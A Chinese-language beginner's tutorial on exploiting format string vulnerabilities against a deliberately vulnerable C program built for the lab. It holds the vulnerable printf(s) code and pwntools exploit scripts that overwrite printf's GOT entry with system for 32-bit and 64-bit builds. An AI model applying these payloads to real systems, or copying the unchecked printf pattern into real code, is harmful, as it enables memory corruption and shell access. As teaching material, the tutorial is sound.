PWN 入门到放弃 2- 格式化字符串漏洞

0x00 printf函数

printf函数的格式是printf("%s",(char*)str)之类的,就是有一个参数 %d,%c,%x 等等之类的

如果吧格式写成printf((char*) str),那么如果str里含有 printf可以识别的格式字串,那么printf就会执行操作

0x10 环境准备

在 Ubuntu20.04 下使用 gcc 编译器,因为反编译效果不佳,推荐使用 clang

安装命令

sudo apt install gcc
sudo apt install clang

默认是安装 64 位环境的,所以补充 32 位编译环境:

sudo apt-get install gcc-multilib

生成 32 位程序时添加指令 -m32

gcc -m32 printf.c -o printf32

0x20 32 位复现

0x21 编写漏出后门的程序

编写一段带后门的程序,采用 32 位的编译,这里留个两个后门,只要能够输出 flag 字符串或者获取 shellcode 就算成功。

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void fun(){
	system("bin/sh");
	return;
}

char flag[] = "flag{OK_get!}";

int main(){
	char s[0x100];
	memset(&s,0,0x100);

	while(s[0] != '0'){
		read(0,&s,0x100);
		printf(s);
		printf("\n\n");
	}
	return 0;
}

编译代码然后使用 IDA 分析,编译的时候编译器报了 warning,但是我们就是要使用该漏洞,所以不管它。

ox22 分析调试,任意位置读

运行程序发现,无论输入什么,都会原样输出,但是当我们输入一些特殊符号时,例如 %s,%x,输出就变得奇奇怪怪:

这里的原理很简单,形如 printf(“%s”,“Hello world”) 的使用形式会把第一个参数 %s 作为格式化字符串参数进行解析,在这里由于我们直接用 printf 输出一个变量,当变量也正好是格式化字符串时,自然就会被 printf 解析。

接着实验:连续输入多个 %x 查看结果(这一步很关键)

发现在第 9 个 %x 的时候输出了 252C7825,后面开始循环,这里是'%'(ASCII:0x25),'x'(ASCII:0x78),','(ASCII:0x2c)

这里为什么是这样的呢?接着实验,打开 IDA 远程调试,输入十个 %x,查看此时栈内的情况

可以看到,此时向下的第九个偏移就是刚刚的输入,所以理论上我们可以通过叠加 %x 来获取有限范围内的栈数据。那么我们有可能泄露其他数据吗?

我们知道格式化字符串里有 %s,用于输出字符。其本质上是读取对应的参数,并作为指针解析,获取到对应地址的字符串输出。我们先输入一个 %s 观察结果:

可以看到,栈顶是第一个参数,也就是我们输入的 %s, 第二个参数的地址和第一个参数一样,作为地址解析指向的还是 %s 和回车 0x0A。由于此时我们可以通过输入来操控栈,我们可以输入一个地址,再让 %s 正好对应到这个地址,从而输出地址指向的字符串,实现任意地址读。

这里找到 flag 字符串的地址以及 main 函数的起始地址

通过刚刚的调试我们可以发现,我们的输入从第九个参数开始 (上图从栈顶往下数第九个‘FFC4AF34’ = %s\n%)。所以我们可以构造字符串“\x28\xC0\x04\x08%x.%x.%x.%x.%x.%x.%x.%x.%s”

由于字符串里包括了不可写字符,我们没办法直接输入,这里前面四个字符输入‘0’ ,输入后再使用 F2 修改 IDA 的内存。

接着运行下面的 printf 语句,返回虚拟机就可以看到:

我们成功地泄露出了地址 0×08048001 内的内容。

经过刚刚的试验,我们用来泄露指定地址的 payload 对读者来说应该还是能够理解的。由于我们的输入本体恰好在 printf 读取参数的第九个参数的位置,所以我们把地址布置在开头,使其被 printf 当做第九个参数。接下来是格式化字符串,使用 %x 处理掉第一到第八个参数,使用 %s 将第九个参数作为地址解析。但是如果输入长度有限制,而且我们的输入位于 printf 的第几十个参数之外要怎么办呢?叠加 %x 显然不现实。因此我们需要用到格式化字符串的另一个特性。

格式化字符串可以使用一种特殊的表示形式来指定处理第 n 个参数,如输出第就九参数可以写为%9$s,第六个为%6$s,需要输出第 n 个参数就是%n$[格式化控制符]。因此我们的 payload 可以简化为“\x28\xC0\x04\x08%9$s”

0x23 任意地址写 &getshell

使用格式化字符串漏洞任意写虽然我们可以利用格式化字符串漏洞达到任意地址读,但是并不是所有的程序都像我这样都有后门可以直接获取 shell,因此还需要任意地址写。所以要学习格式化字符串的另一个特性——使用 printf 进行写入。

printf 有一个特殊的格式化控制符 %n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字符会将已输出的字符数写入到对应参数的内存中。我们将 payload 改成“\x28\xC0\x04\x08%9$s”,修改 flag 的值(这里还是通过输入 0 改内存的方式),得到了结果:

flag 字串就修改成 4 了。

现在我们已经验证了任意地址读写,接下来可以构造 exp 拿 shell 了。

由于我们可以任意地址写,且程序里有 system 函数,因此我们在这里可以直接选择劫持一个函数的 got 表项为 system 的 plt 表项,从而执行 system(“/bin/sh”)。劫持哪一项呢?我们发现在 got 表中有五个函数,且 printf 函数可以单参数调用,参数又正好是我们输入的。

或者使用 pwntools 获取对应的表项

因此我们可以劫持 printf 为 system,然后再次通过 read 读取“/bin/sh”,此时 printf(“/bin/sh”) 将会变成 system(“/bin/sh”)。根据之前的任意地址写实验,我们很容易构造 payload 如下:

printf_got = 0x0804C010

system_plt = 0x08049060

payload = p32(printf_got)+"%"+str(system_plt-4)+"c%9$n"

回到虚拟机,使用 pwntools 编写 exp 尝试,(因为 python3 要解决 str 转 bytes 的问题,所以需要 encode):

from pwn import *

context.log_level = "debug" #show debug information

p = process('./printf32')

printf_got = 0x0804C010
system_plt = 0x08049060
payload = p32(printf_got)+b"%"+str(system_plt-4).encode()+b"c%9$n"

p.sendline(payload)
print(p.recv())

p.interactive()

但是出现了问题,这里因为大量的字符串写入和输出占用大量资源,导致程序被进程管理杀掉了,因此这种方法有问题,需要进一步优化。事实上,如果是网络中,大量的数据传输也非常容易出错导致失败。

因此需要换一种 exp 的写法,在 64 位下有%lld,%llx等方式来表示四字 (qword) 长度的数据,而对称地,我们也可以使用%hd, %hhx这样的方式来表示字 (word) 和字节 (byte) 长度的数据,对应到 %n 上就是%hn,%hhn

为了防止修改的地址有误导致程序崩溃,仍然需要一次性把 got 表中的printf项改掉,因此使用%hhn时我们就必须一次修改四个字节。那么我们就得重新构造一下 payload

printf_got = 0x0804C010

payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

这样的就是一个字节一个字节的修改,相对得到输出量就会减小很多。

此时前面已经有了 16 个字节,就需要重新计算填偏移了,先来修改第一位。由于 x86 和 x86-64 都是小端序,printf_got对应的应该是地址后两位 0×60

payload += b"%"
payload += str(0x60-0x10).encode()
payload += b"c%9$hhn"

接着修改 printf_got+1 的字节:0x90,前面已经有了 0x60 个字节,所以直接减去就好,而对应的 %n 的参数数应该是第二个,因此也要加一。

payload += b"%"
payload += str(0x90-0x60).encode()
payload += b"c%10$hhn"

同理 printf_got+2,这里对应的是 04,因为前面已经超出了,所以这里构造 0x104,截断后变成 0x04,。

payload += b"%"
payload += str(0x100 + 0x04 - 0x90).encode()
payload += b"c%11$hhn"

最后是printf_got+3 的字节 0x08,这里很容易的计算出差值为 4(这里是 0x08,前面已经有了 0x104 个字节,所以也是构造 0x108,因此差值为 0x4。这里很容易发现规律:补差值即可,既后一位减去前一位)

payload += b"%"
payload += str(0x4).encode()
payload += b"c%12$hhn"

运行 exp,再次输入时输入 /bin/sh即可获取 shell。(这里的 flag 文件是提前准备好的)

0x30 64 位复现

还是之前的代码,现在正常编译即可,这次重命名为 printf。

同样的测试,这次是第 8 个参数

前面的分析直接跳过,用 pwntools 获取 printf 的 got 表项地址和 system 的 plt 表项的地址。

先使用之前的 exp 试试,简单修改下地址,这里是 64 位程序所以要用 p64:

发现失败了,分析失败原因,查看返回值,可以看到只返回了‘\x20(空格)@@’,这里返回了什么,就说明我们输入了什么,意思是只有前面三个字节输入进去了,\x00是没有办法输入的。而且 64 位系统的地址比 32 位长一倍,基址高位基本都是 0,因此需要调整 exp,将地址放在 payload 的最后。由于地址中带有 \x00,所以这回就不能用 %hhn 分段写了,因此我们的 payload 构造如下

printf_got = 0x00404020
system_plt = 0x00401030

payload = b'%' + str(system_plt).encode() + b'c%8$lln' + p64(printf_got)

但是运行之后直接爆段错误

查看堆栈,发现地址貌似出现了错误,其实是前面少了一位导致没有对齐

所以需要在前面填充一位非零字符使得地址对齐即可,但是同时这里应该是第三个参数了,所以是 8+2 = 10 既%10$lln,8 变成 10,一个字节变成两个字节,刚好代替填充,所以不要填充了,直接改成 10 即可:

payload = b'%' + str(system_plt).encode() + b'c%10$lln' + p64(printf_got)

成功!